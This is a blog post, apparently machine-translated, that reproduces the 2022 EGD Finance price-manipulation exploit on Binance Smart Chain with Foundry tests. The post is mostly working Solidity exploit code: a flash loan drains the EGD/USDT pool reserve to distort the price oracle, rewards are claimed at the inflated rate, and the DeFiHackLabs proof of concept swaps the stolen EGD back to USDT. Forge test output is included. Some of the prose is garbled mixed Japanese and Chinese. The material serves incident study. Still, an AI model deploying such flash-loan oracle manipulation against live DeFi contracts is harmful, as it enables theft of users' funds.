EGD価格操作攻撃のファウンドリが再発

その他の関連コンテンツは個人ホームページでご覧いただけます

EGD 価格操作攻撃の概要については、「EGD 価格操作攻撃の原理の分析 – palcon+etherscan」を参照してください。

ファウンドリの概要は次のとおりです:テストの作成 - ファウンドリの中国語ドキュメント (learnblockchain.cn)

参考リンク:EGD Finance 価格操作攻撃インシデント分析 - YINHUI's BLOG (yinhui1984.github.io)

1. 現状の概要とアイデアの紹介

EGD-Finance プロジェクトの主な目的:质押USDT一段事件,可提取奖励EGD Token前述したように、フラッシュ ローンはPancake LPsプールから大量の USDT を借り、EGD Token報酬の数はプール内の 2 つのトークンの数にある程度依存するため、これは次のことにつながります。価格操作攻撃。

私はファウンドリにあまり詳しくなく、大規模なソリッド プロジェクトを書いたこともありません。

攻撃の再現を 3 つの部分に分けます。

  • フラッシュローンを利用して価格をコントロールする
  • EGD プロジェクトのロジックを実装し、ステーキング後に報酬を交換します。
  • フラッシュローンは価格操作を実現し、EGD取引所の論理的な抜け穴を利用して裁定取引を実現します。

2. フラッシュローンは価格操作を可能にする

  • 呼び出す外部コントラクト関数については、そのアドレスが必要であるだけでなく、呼び出す必要がある対応する関数をフォームに記述します接口interface()interface()特定の関数コードは記述されません。関数アクセスの変更は外部です。
  • Solidity には浮動小数点数はありません。一般に、それに乗算するパーセンテージの書き方を学習できます。
pragma solidity ^0.8.10;

import "forge-std/Test.sol";

interface IERC20 {
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transfer(address to, uint256 value) external returns (bool);
}

interface IEGD_Finance {
    function getEGDPrice() external view returns (uint);
}

interface IPancakePair {
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}

//Pancake借出USDT的池子
address constant EGD_USDT_LPPool = 0xa361433E409Adac1f87CDF133127585F8a93c67d;

// EGD 代理合约的地址
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;

// USDT代币的地址
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;

contract pricemanipulation is Test{

    function setUp() public{
    	//fork stake()函数调用前的状态
        vm.createSelectFork("https://rpc.ankr.com/bsc", 20_245_522);
        //给账户上初始分配点USDT
        deal(address(usdt),address(this), 30000*1 ether);
    }

    function testPrice() public {
        console.log("EGD Price before:", IEGD_Finance(EGD_Finance).getEGDPrice());
        uint amount = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9_999_999_925 / 10_000_000_000;
        IPancakePair(EGD_USDT_LPPool).swap(0, amount, address(this), "0x00");
        console.log("EGD Price after( return flashloan )", IEGD_Finance(EGD_Finance).getEGDPrice());
    }

    function pancakeCall(address sender, uint256 amount1, uint256 amount2, bytes calldata data) public {
    	//闪电贷之前EGD的价格
        console.log("EGD Price after( flashloan )", IEGD_Finance(EGD_Finance).getEGDPrice()) ;
        
        //归还相应的本金
        bool success = IERC20(usdt).transfer(address(EGD_USDT_LPPool),(amount2 * 10_500_000_000) / 10_000_000_000) ;
        require(success) ;
    }
}

テスト結果: 価格操作が成功したことを示します

 /test/attack_test # forge test --match-contract pricemanipulation -vvv
[⠃] Compiling...
No files changed, compilation skipped

Running 1 test for test/test_pricemanipulation.sol:pricemanipulation
[PASS] testPrice() (gas: 87598)
Logs:
  EGD Price before: 8093644493314726
  EGD Price after( flashloan ) 60702333
  EGD Price after( return flashloan ) 8498326714945346

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 576.95ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

3. 最初にUSDTをステークし、次にEGD報酬を受け取ります

  • ここでわかりにくい点は、ターゲット関数の userInfo が構造マッピングであり、対応する値を取得するためにインターフェイスで関数として表現されることです。誰かが説明してくれることを願っています。インターフェイスの使用法は次のとおりです。このように書かれていますか?、後でもう一度試してください。
pragma solidity ^0.8.10;

import "forge-std/Test.sol";

interface IERC20 {
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transfer(address to, uint256 value) external returns (bool);
}

interface IEGD_Finance {
    function getEGDPrice() external view returns (uint);
    function bond(address invitor) external;
    function stake(uint amount) external;
    function claimAllReward() external;
    function calculateAll(address addr) external view returns (uint);
    function calculateReward(address addr, uint slot) external view returns (uint);

    function userInfo(address) external view returns (        
        uint totalAmount,
        uint totalClaimed,
        address invitor,
        bool isRefer,
        uint refer,
        uint referReward
    );
}

// EGD 代理合约的地址
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;

// USDT代币的地址
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;

// EGD代币的地址
address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98;


contract stake_reward is Test{

    function setUp() public {
        vm.createSelectFork("https://rpc.ankr.com/bsc", 20_245_522);
        deal(address(usdt),address(this), 30000*1 ether);
    }

    function test_stake() public {
		//具体可见EGD-Fiance源码,bond函数填写邀请人
    	IEGD_Finance(EGD_Finance).bond(address(0x85cbfaBD709c744C84A36BA47145396d724EE751));
    	
    	//stake()过程中会直接继续代币转账,这里需要先approve(没真实写过的话,可能会忘这一步)
        IERC20(usdt).approve(address(EGD_Finance), 100 ether);
        IEGD_Finance(EGD_Finance).stake(100 ether);
        (uint totalAmount, , , , , ) = IEGD_Finance(EGD_Finance).userInfo(address(this));

        //接下来查看对应的资金
        console.log("Stake USDT amount:", totalAmount);
        console.log("EGD reward: ", IERC20(egd).balanceOf(address(this)));

		// foundry的cheatcode,跳转到某个区块
        vm.warp(block.timestamp + (4 * 60 * 24 * 4));
		
		//获得对应的奖励
        IEGD_Finance(EGD_Finance).claimAllReward();

        console.log("EGD reward after 2 days: ", IERC20(egd).balanceOf(address(this)));

    }
}
/test/attack_test # forge test --match-contract stake_reward -vvv
[⠊] Compiling...
[⠰] Compiling 1 files with 0.8.22
[⠒] Solc 0.8.22 finished in 1.28s
Compiler run successful!

Running 1 test for test/test_stake_reward.sol:stake_reward
[PASS] test_stake() (gas: 865865)
Logs:
  Stake USDT amount: 100000000000000000000
  EGD reward:  0
  EGD reward after 4 days:  18016435864263240000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 591.56ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

テスト結果: USDT をステーキングして EGD を取得するプロセスが正常に実装されました

4. フラッシュ ローンは価格操作を実現し、EGD 取引所の論理的な抜け穴を利用して裁定取引を実現します。

  • 上記の 2 つのステップを単純に組み合わせて、EGD-Finance の関数を呼び出して報酬を引き出します。
pragma solidity ^0.8.10;

import "forge-std/Test.sol";

interface IERC20 {
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transfer(address to, uint256 value) external returns (bool);
}

interface IEGD_Finance {
    function getEGDPrice() external view returns (uint);
    function bond(address invitor) external;
    function stake(uint amount) external;
    function claimAllReward() external;
    function calculateAll(address addr) external view returns (uint);
    function calculateReward(address addr, uint slot) external view returns (uint);
    function userInfo(address) external view returns (        
        uint totalAmount,
        uint totalClaimed,
        address invitor,
        bool isRefer,
        uint refer,
        uint referReward
    );
}

interface IPancakePair {
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}

//Pancake借出USDT的池子
address constant EGD_USDT_LPPool = 0xa361433E409Adac1f87CDF133127585F8a93c67d;

// EGD 代理合约的地址
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;

// USDT代币的地址
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;

// EGD代币的地址
address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98;

contract HackerTest is Test{

    function setUp() public{
        vm.createSelectFork("https://rpc.ankr.com/bsc", 20_245_522);
        deal(address(usdt),address(this), 30000*1 ether);
    }

    function stake() public {
        IEGD_Finance(EGD_Finance).bond(address(0x85cbfaBD709c744C84A36BA47145396d724EE751));

        IERC20(usdt).approve(address(EGD_Finance), 100 ether);
        IEGD_Finance(EGD_Finance).stake(100 ether);
    }

    function test_exploit() public {
        stake();
        vm.warp(block.timestamp + (4 * 60 * 24 * 2));

        console.log("EGD Price before flashloan:", IEGD_Finance(EGD_Finance).getEGDPrice());
		
		//计算用户地址,当前存款下获得的奖励数目
        uint totalreward = IEGD_Finance(EGD_Finance).calculateAll(address(this));
        console.log("Normal EGD reward:", totalreward);

        uint amount = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9_999_000_000 / 10_000_000_000;
        IPancakePair(EGD_USDT_LPPool).swap(0, amount, address(this), "0x00");

    }

    function pancakeCall(address sender, uint256 amount1, uint256 amount2, bytes calldata data) public{

        console.log("EGD Price after flashloan: ", IEGD_Finance(EGD_Finance).getEGDPrice());
		
		//提取账户奖励
        IEGD_Finance(EGD_Finance).claimAllReward();

        console.log("Hacker's EGD balance: ", IERC20(egd).balanceOf(address(this)));

        bool success = IERC20(usdt).transfer(address(EGD_USDT_LPPool),(amount2 * 10_500_000_000) / 10_000_000_000) ;
        require(success) ;
    }
}

5. DefiHacklabs が実装する POC の概要

  • Defihacklabs での複製。interface最もよく使用されるものを./interface.solファイルに保存します。
  • 追加の手順では、IPancakeRouterこのプールを使用して、アービトラージから取得したすべての EGD を USDT に交換します。これについては、前の分析で説明しました。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo - Total Lost : ~36,044 US$
// Attacker : 0xee0221d76504aec40f63ad7e36855eebf5ea5edd
// Attack Contract : 0xc30808d9373093fbfcec9e026457c6a9dab706a7
// Vulnerable Contract : 0x34bd6dba456bc31c2b3393e499fa10bed32a9370 (Proxy)
// Vulnerable Contract : 0x93c175439726797dcee24d08e4ac9164e88e7aee (Logic)
// Attack Tx : https://bscscan.com/tx/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x93c175439726797dcee24d08e4ac9164e88e7aee#code#F1#L254
// Stake Tx : https://bscscan.com/tx/0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8

// @Analysis
// Blocksec : https://twitter.com/BlockSecTeam/status/1556483435388350464
// PeckShield : https://twitter.com/PeckShieldAlert/status/1556486817406283776

IPancakePair constant USDT_WBNB_LPPool = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
IPancakePair constant EGD_USDT_LPPool = IPancakePair(0xa361433E409Adac1f87CDF133127585F8a93c67d);
IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;
address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98;

contract Attacker is Test {
    function setUp() public {
    	//fork对应的区块状态
        vm.createSelectFork("bsc", 20_245_522);

        vm.label(address(USDT_WBNB_LPPool), "USDT_WBNB_LPPool");
        vm.label(address(EGD_USDT_LPPool), "EGD_USDT_LPPool");
        vm.label(address(pancakeRouter), "pancakeRouter");
        vm.label(EGD_Finance, "EGD_Finance");
        vm.label(usdt, "USDT");
        vm.label(egd, "EGD");
    }

    function testExploit() public {
        Exploit exploit = new Exploit();

        console.log("--------------------  Pre-work, stake 100 USDT to EGD Finance --------------------");
        console.log("Tx: 0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8");
        console.log("Attacker Stake 100 USDT to EGD Finance");
        
        //先实现对应的质押USDT
        exploit.stake();

        vm.warp(1_659_914_146); // block.timestamp = 2022-08-07 23:15:46(UTC)

        console.log("-------------------------------- Start Exploit ----------------------------------");
        emit log_named_decimal_uint("[Start] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18);
        emit log_named_decimal_uint(
            "[INFO] EGD/USDT Price before price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18
        );
        emit log_named_decimal_uint(
            "[INFO] Current earned reward (EGD token)", IEGD_Finance(EGD_Finance).calculateAll(address(exploit)), 18
        );
        console.log("Attacker manipulating price oracle of EGD Finance...");

        exploit.harvest();

        console.log("-------------------------------- End Exploit ----------------------------------");
        emit log_named_decimal_uint("[End] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18);
    }
}

// Contract 0x93c175439726797dcee24d08e4ac9164e88e7aee 
contract Exploit is Test {
    uint256 borrow1;
    uint256 borrow2;

	//与前文流程一致
    function stake() public {
        // Give exploit contract 100 USDT, 给账户初始复制
        deal(address(usdt), address(this), 100 ether);
        // Set invitor
        IEGD_Finance(EGD_Finance).bond(address(0x659b136c49Da3D9ac48682D02F7BD8806184e218));
        // Stake 100 USDT
        IERC20(usdt).approve(EGD_Finance, 100 ether);
        IEGD_Finance(EGD_Finance).stake(100 ether);
    }

    function harvest() public {
        console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve");
        borrow1 = 2000 * 1e18;
        USDT_WBNB_LPPool.swap(borrow1, 0, address(this), "0000");
        console.log("Flashloan[1] payback success");
        IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); // refund all USDT
    }
	
	//用不同的calldata,来区分两次闪电贷的过程
    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        if (keccak256(data) == keccak256("0000")) {
            console.log("Flashloan[1] received");

            console.log("Flashloan[2] : borrow 99.99999925% USDT of EGD/USDT LPPool reserve");
            
            //第二次闪电贷借出多少USDT
            borrow2 = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9_999_999_925 / 10_000_000_000; // Attacker borrows 99.99999925% USDT of EGD_USDT_LPPool reserve
            EGD_USDT_LPPool.swap(0, borrow2, address(this), "00");
            console.log("Flashloan[2] payback success");

            // Swap all egd -> usdt
            console.log("Swap the profit...");
            address[] memory path = new address[](2);
            path[0] = egd;
            path[1] = usdt;
            IERC20(egd).approve(address(pancakeRouter), type(uint256).max);
            pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                IERC20(egd).balanceOf(address(this)), 1, path, address(this), block.timestamp
            );

            bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 1e18); // Pancakeswap fee is 0.25%, so attacker needs to pay back usdt >2000/0.9975 (Cannot be exactly 0.25%)
            require(suc, "Flashloan[1] payback failed");
        } else {
            console.log("Flashloan[2] received");
            emit log_named_decimal_uint(
                "[INFO] EGD/USDT Price after price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18
            );
            // -----------------------------------------------------------------
            console.log("Claim all EGD Token reward from EGD Finance contract");
            IEGD_Finance(EGD_Finance).claimAllReward();
            emit log_named_decimal_uint("[INFO] Get reward (EGD token)", IERC20(egd).balanceOf(address(this)), 18);
            // -----------------------------------------------------------------
            //计算需要总共返还闪电贷的费用
            uint256 swapfee = (amount1 * 10_000 / 9970) - amount1; // Attacker needs to pay >0.25% fee back to Pancakeswap
            bool suc = IERC20(usdt).transfer(address(EGD_USDT_LPPool), amount1 + swapfee);
            require(suc, "Flashloan[2] payback failed");
        }
    }
}

// interface
interface IEGD_Finance {
    function bond(address invitor) external;
    function stake(uint256 amount) external;
    function calculateAll(address addr) external view returns (uint256);
    function claimAllReward() external;
    function getEGDPrice() external view returns (uint256);
}

おすすめ

転載: blog.csdn.net/m0_53689197/article/details/135128283